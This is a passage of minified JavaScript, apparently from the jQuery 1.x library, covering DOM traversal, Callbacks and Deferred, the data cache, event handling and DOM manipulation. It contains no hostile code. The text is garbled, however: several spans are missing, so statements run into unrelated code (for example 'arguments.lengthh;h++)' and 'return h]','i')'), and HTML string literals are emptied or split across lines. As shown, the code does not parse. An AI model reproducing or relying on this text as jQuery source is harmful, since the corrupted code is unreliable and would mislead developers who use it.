a?m(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&m.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?m.unique(f):f)},index:function(a){return a?"string"==typeof a?m.inArray(this[0],m(a)):m.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(m.unique(m.merge(this.get(),m(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}m.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return m.dir(a,"parentNode")},parentsUntil:function(a,b,c){return m.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return m.dir(a,"nextSibling")},prevAll:function(a){return m.dir(a,"previousSibling")},nextUntil:function(a,b,c){return m.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return m.dir(a,"previousSibling",c)},siblings:function(a){return m.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return m.sibling(a.firstChild)},contents:function(a){return m.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:m.merge([],a.childNodes)}},function(a,b){m.fn[a]=function(c,d){var e=m.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=m.filter(d,e)),this.length>1&&(C[a]||(e=m.unique(e)),B.test(a)&&(e=e.reverse())),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return m.each(a.match(E)||[],function(a,c){b[c]=!0}),b}m.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):m.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++)if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){m.each(b,function(b,c){var d=m.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&m.each(arguments,function(a,c){var d;while((d=m.inArray(c,h,d))>-1)h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}),this},has:function(a){return a?m.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return!i},fireWith:function(a,c){return!h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!d}};return k},m.extend({Deferred:function(a){var b=[["resolve","done",m.Callbacks("once memory"),"resolved"],["reject","fail",m.Callbacks("once memory"),"rejected"],["notify","progress",m.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return m.Deferred(function(c){m.each(b,function(b,f){var g=m.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&m.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?m.extend(a,d):d}},e={};return d.pipe=d.then,m.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&m.isFunction(a.promise)?e:0,g=1===f?a:m.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&m.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;m.fn.ready=function(a){return m.ready.promise().done(a),this},m.extend({isReady:!1,readyWait:1,holdReady:function(a){a?m.readyWait++:m.ready(!0)},ready:function(a){if(a===!0?!--m.readyWait:!m.isReady){if(!y.body)return setTimeout(m.ready);m.isReady=!0,a!==!0&&--m.readyWait>0||(H.resolveWith(y,[m]),m.fn.triggerHandler&&(m(y).triggerHandler("ready"),m(y).off("ready")))}}});function I(){y.addEventListener?(y.removeEventListener("DOMContentLoaded",J,!1),a.removeEventListener("load",J,!1)):(y.detachEvent("onreadystatechange",J),a.detachEvent("onload",J))}function J(){(y.addEventListener||"load"===event.type||"complete"===y.readyState)&&(I(),m.ready())}m.ready.promise=function(b){if(!H)if(H=m.Deferred(),"complete"===y.readyState)setTimeout(m.ready);else if(y.addEventListener)y.addEventListener("DOMContentLoaded",J,!1),a.addEventListener("load",J,!1);else{y.attachEvent("onreadystatechange",J),a.attachEvent("onload",J);var c=!1;try{c=null==a.frameElement&&y.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!m.isReady){try{c.doScroll("left")}catch(a){return setTimeout(e,50)}I(),m.ready()}}()}return H.promise(b)};var K="undefined",L;for(L in m(k))break;k.ownLast="0"!==L,k.inlineBlockNeedsLayout=!1,m(function(){var a,b,c,d;c=y.getElementsByTagName("body")[0],c&&c.style&&(b=y.createElement("div"),d=y.createElement("div"),d.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(d).appendChild(b),typeof b.style.zoom!==K&&(b.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",k.inlineBlockNeedsLayout=a=3===b.offsetWidth,a&&(c.style.zoom=1)),c.removeChild(d))}),function(){var a=y.createElement("div");if(null==k.deleteExpando){k.deleteExpando=!0;try{delete a.test}catch(b){k.deleteExpando=!1}}a=null}(),m.acceptData=function(a){var b=m.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b};var M=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,N=/([A-Z])/g;function O(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(N,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:M.test(c)?m.parseJSON(c):c}catch(e){}m.data(a,b,c)}else c=void 0}return c}function P(a){var b;for(b in a)if(("data"!==b||!m.isEmptyObject(a[b]))&&"toJSON"!==b)return!1;return!0}function Q(a,b,d,e){if(m.acceptData(a)){var f,g,h=m.expando,i=a.nodeType,j=i?m.cache:a,k=i?a[h]:a[h]&&h; + if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b)return k||(k=i?a[h]=c.pop()||m.guid++:h),j[k]||(j[k]=i?{}:{toJSON:m.noop}),("object"==typeof b||"function"==typeof b)&&(e?j[k]=m.extend(j[k],b):j[k].data=m.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[m.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[m.camelCase(b)])):f=g,f}}function R(a,b,c){if(m.acceptData(a)){var d,e,f=a.nodeType,g=f?m.cache:a,h=f?a[m.expando]:m.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){m.isArray(b)?b=b.concat(m.map(b,m.camelCase)):b in d?b=[b]:(b=m.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!P(d):!m.isEmptyObject(d))return}(c||(delete g[h].data,P(g[h])))&&(f?m.cleanData([a],!0):k.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}m.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?m.cache[a[m.expando]]:a[m.expando],!!a&&!P(a)},data:function(a,b,c){return Q(a,b,c)},removeData:function(a,b){return R(a,b)},_data:function(a,b,c){return Q(a,b,c,!0)},_removeData:function(a,b){return R(a,b,!0)}}),m.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=m.data(f),1===f.nodeType&&!m._data(f,"parsedAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=m.camelCase(d.slice(5)),O(f,d,e[d])));m._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){m.data(this,a)}):arguments.length>1?this.each(function(){m.data(this,a,b)}):f?O(f,a,m.data(f,a)):void 0},removeData:function(a){return this.each(function(){m.removeData(this,a)})}}),m.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=m._data(a,b),c&&(!d||m.isArray(c)?d=m._data(a,b,m.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=m.queue(a,b),d=c.length,e=c.shift(),f=m._queueHooks(a,b),g=function(){m.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return m._data(a,c)||m._data(a,c,{empty:m.Callbacks("once memory").add(function(){m._removeData(a,b+"queue"),m._removeData(a,c)})})}}),m.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthh;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},W=/^(?:checkbox|radio)$/i;!function(){var a=y.createElement("input"),b=y.createElement("div"),c=y.createDocumentFragment();if(b.innerHTML="
a",k.leadingWhitespace=3===b.firstChild.nodeType,k.tbody=!b.getElementsByTagName("tbody").length,k.htmlSerialize=!!b.getElementsByTagName("link").length,k.html5Clone="<:nav>"!==y.createElement("nav").cloneNode(!0).outerHTML,a.type="checkbox",a.checked=!0,c.appendChild(a),k.appendChecked=a.checked,b.innerHTML="",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,c.appendChild(b),b.innerHTML="",k.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,k.noCloneEvent=!0,b.attachEvent&&(b.attachEvent("onclick",function(){k.noCloneEvent=!1}),b.cloneNode(!0).click()),null==k.deleteExpando){k.deleteExpando=!0;try{delete b.test}catch(d){k.deleteExpando=!1}}}(),function(){var b,c,d=y.createElement("div");for(b in{submit:!0,change:!0,focusin:!0})c="on"+b,(k[b+"Bubbles"]=c in a)||(d.setAttribute(c,"t"),k[b+"Bubbles"]=d.attributes[c].expando===!1);d=null}();var X=/^(?:input|select|textarea)$/i,Y=/^key/,Z=/^(?:mouse|pointer|contextmenu)|click/,$=/^(?:focusinfocus|focusoutblur)$/,_=/^([^.]*)(?:\.(.+)|)$/;function ab(){return!0}function bb(){return!1}function cb(){try{return y.activeElement}catch(a){}}m.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,n,o,p,q,r=m._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=m.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof m===K||a&&m.event.triggered===a.type?void 0:m.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(E)||[""],h=b.length;while(h--)f=_.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=m.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=m.event.special[o]||{},l=m.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&m.expr.match.needsContext.test(e),namespace:p.join(".")},i),(n=g[o])||(n=g[o]=[],n.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?n.splice(n.delegateCount++,0,l):n.push(l),m.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,n,o,p,q,r=m.hasData(a)&&m._data(a);if(r&&(k=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=_.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=m.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,n=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=n.length;while(f--)g=n[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(n.splice(f,1),g.selector&&n.delegateCount--,l.remove&&l.remove.call(a,g));i&&!n.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||m.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)m.event.remove(a,o+b[j],c,d,!0);m.isEmptyObject(k)&&(delete r.handle,m._removeData(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,n,o=[d||y],p=j.call(b,"type")?b.type:b,q=j.call(b,"namespace")?b.namespace.split("."):[];if(h=l=d=d||y,3!==d.nodeType&&8!==d.nodeType&&!$.test(p+m.event.triggered)&&(p.indexOf(".")>=0&&(q=p.split("."),p=q.shift(),q.sort()),g=p.indexOf(":")<0&&"on"+p,b=b[m.expando]?b:new m.Event(p,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:m.makeArray(c,[b]),k=m.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!m.isWindow(d)){for(i=k.delegateType||p,$.test(i+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),l=h;l===(d.ownerDocument||y)&&o.push(l.defaultView||l.parentWindow||a)}n=0;while((h=o[n++])&&!b.isPropagationStopped())b.type=n>1?i:k.bindType||p,f=(m._data(h,"events")||{})[b.type]&&m._data(h,"handle"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&m.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault());if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&m.acceptData(d)&&g&&d[p]&&!m.isWindow(d)){l=d[g],l&&(d[g]=null),m.event.triggered=p;try{d[p]()}catch(r){}m.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=m.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(m._data(this,"events")||{})[a.type]||[],k=m.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=m.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((m.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(e=[],f=0;h>f;f++)d=b[f],c=d.selector+" ",void 0===e[c]&&(e[c]=d.needsContext?m(c,this).index(i)>=0:m.find(c,this,null,[i]).length),e[c]&&e.push(d);e.length&&g.push({elem:i,handlers:e})}return h]","i"),hb=/^\s+/,ib=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,jb=/<([\w:]+)/,kb=/\s*$/g,rb={option:[1,""],legend:[1,"
","
"],area:[1,"",""],param:[1,"",""],thead:[1,"","
"],tr:[2,"","
"],col:[2,"","
"],td:[3,"","
"],_default:k.htmlSerialize?[0,"",""]:[1,"X
","
"]},sb=db(y),tb=sb.appendChild(y.createElement("div"));rb.optgroup=rb.option,rb.tbody=rb.tfoot=rb.colgroup=rb.caption=rb.thead,rb.th=rb.td;function ub(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==K?a.getElementsByTagName(b||"*"):typeof a.querySelectorAll!==K?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||m.nodeName(d,b)?f.push(d):m.merge(f,ub(d,b));return void 0===b||b&&m.nodeName(a,b)?m.merge([a],f):f}function vb(a){W.test(a.type)&&(a.defaultChecked=a.checked)}function wb(a,b){return m.nodeName(a,"table")&&m.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function xb(a){return a.type=(null!==m.find.attr(a,"type"))+"/"+a.type,a}function yb(a){var b=pb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function zb(a,b){for(var c,d=0;null!=(c=a[d]);d++)m._data(c,"globalEval",!b||m._data(b[d],"globalEval"))}function Ab(a,b){if(1===b.nodeType&&m.hasData(a)){var c,d,e,f=m._data(a),g=m._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)m.event.add(b,c,h[c][d])}g.data&&(g.data=m.extend({},g.data))}}function Bb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!k.noCloneEvent&&b[m.expando]){e=m._data(b);for(d in e.events)m.removeEvent(b,d,e.handle);b.removeAttribute(m.expando)}"script"===c&&b.text!==a.text?(xb(b).text=a.text,yb(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),k.html5Clone&&a.innerHTML&&!m.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&W.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}}m.extend({clone:function(a,b,c){var d,e,f,g,h,i=m.contains(a.ownerDocument,a);if(k.html5Clone||m.isXMLDoc(a)||!gb.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(tb.innerHTML=a.outerHTML,tb.removeChild(f=tb.firstChild)),!(k.noCloneEvent&&k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||m.isXMLDoc(a)))for(d=ub(f),h=ub(a),g=0;null!=(e=h[g]);++g)d[g]&&Bb(e,d[g]);if(b)if(c)for(h=h||ub(a),d=d||ub(f),g=0;null!=(e=h[g]);g++)Ab(e,d[g]);else Ab(a,f);return d=ub(f,"script"),d.length>0&&zb(d,!i&&ub(a,"script")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,l,n=a.length,o=db(b),p=[],q=0;n>q;q++)if(f=a[q],f||0===f)if("object"===m.type(f))m.merge(p,f.nodeType?[f]:f);else if(lb.test(f)){h=h||o.appendChild(b.createElement("div")),i=(jb.exec(f)||["",""])[1].toLowerCase(),l=rb[i]||rb._default,h.innerHTML=l[1]+f.replace(ib,"<$1>")+l[2],e=l[0];while(e--)h=h.lastChild;if(!k.leadingWhitespace&&hb.test(f)&&p.push(b.createTextNode(hb.exec(f)[0])),!k.tbody){f="table"!==i||kb.test(f)?""!==l[1]||kb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--)m.nodeName(j=f.childNodes[e],"tbody")&&!j.childNodes.length&&f.removeChild(j)}m.merge(p,h.childNodes),h.textContent="";while(h.firstChild)h.removeChild(h.firstChild);h=o.lastChild}else p.push(b.createTextNode(f));h&&o.removeChild(h),k.appendChecked||m.grep(ub(p,"input"),vb),q=0;while(f=p[q++])if((!d||-1===m.inArray(f,d))&&(g=m.contains(f.ownerDocument,f),h=ub(o.appendChild(f),"script"),g&&zb(h),c)){e=0;while(f=h[e++])ob.test(f.type||"")&&c.push(f)}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=m.expando,j=m.cache,l=k.deleteExpando,n=m.event.special;null!=(d=a[h]);h++)if((b||m.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)n[e]?m.event.remove(d,e):m.removeEvent(d,e,g.handle);j[f]&&(delete j[f],l?delete d[i]:typeof d.removeAttribute!==K?d.removeAttribute(i):d[i]=null,c.push(f))}}}),m.fn.extend({text:function(a){return V(this,function(a){return void 0===a?m.text(this):this.empty().append((this[0]&&this[0].ownerDocument||y).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=wb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=wb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?m.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||m.cleanData(ub(c)),c.parentNode&&(b&&m.contains(c.ownerDocument,c)&&zb(ub(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&m.cleanData(ub(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&m.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return m.clone(this,a,b)})},html:function(a){return V(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(fb,""):void 0;if(!("string"!=typeof a||mb.test(a)||!k.htmlSerialize&&gb.test(a)||!k.leadingWhitespace&&hb.test(a)||rb[(jb.exec(a)||["",""])[1].toLowerCase()])){a=a.replace(ib,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(m.cleanData(ub(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,m.cleanData(ub(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,n=this,o=l-1,p=a[0],q=m.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&nb.test(p))return this.each(function(c){var d=n.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(i=m.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=m.map(ub(i,"script"),xb),f=g.length;l>j;j++)d=i,j!==o&&(d=m.clone(d,!0,!0),f&&m.merge(g,ub(d,"script"))),b.call(this[j],d,j);if(f)for(h=g[g.length-1].ownerDocument,m.map(g,yb),j=0;f>j;j++)d=g[j],ob.test(d.type||"")&&!m._data(d,"globalEval")&&m.contains(h,d)&&(d.src?m._evalUrl&&m._evalUrl(d.src):m.globalEval((d.text||d.textContent||d.innerHTML||"").replace(qb,"")));i=c=null}return this}}),m.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){m.fn[a]=function(a){for(var c,d=0,e=[],g=m(a),h=g.length-1;h>=d;d++)c=d===h?this:this.clone(!0),m(g[d])[b](c),f.apply(e,c.get());return this.pushStack(e)}});var Cb,Db={};function Eb(b,c){var d,e=m(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:m.css(e[0],"display");return e.detach(),f}function Fb(a){var b=y,c=Db[a];return c||(c=Eb(a,b),"none"!==c&&c||(Cb=(Cb||m("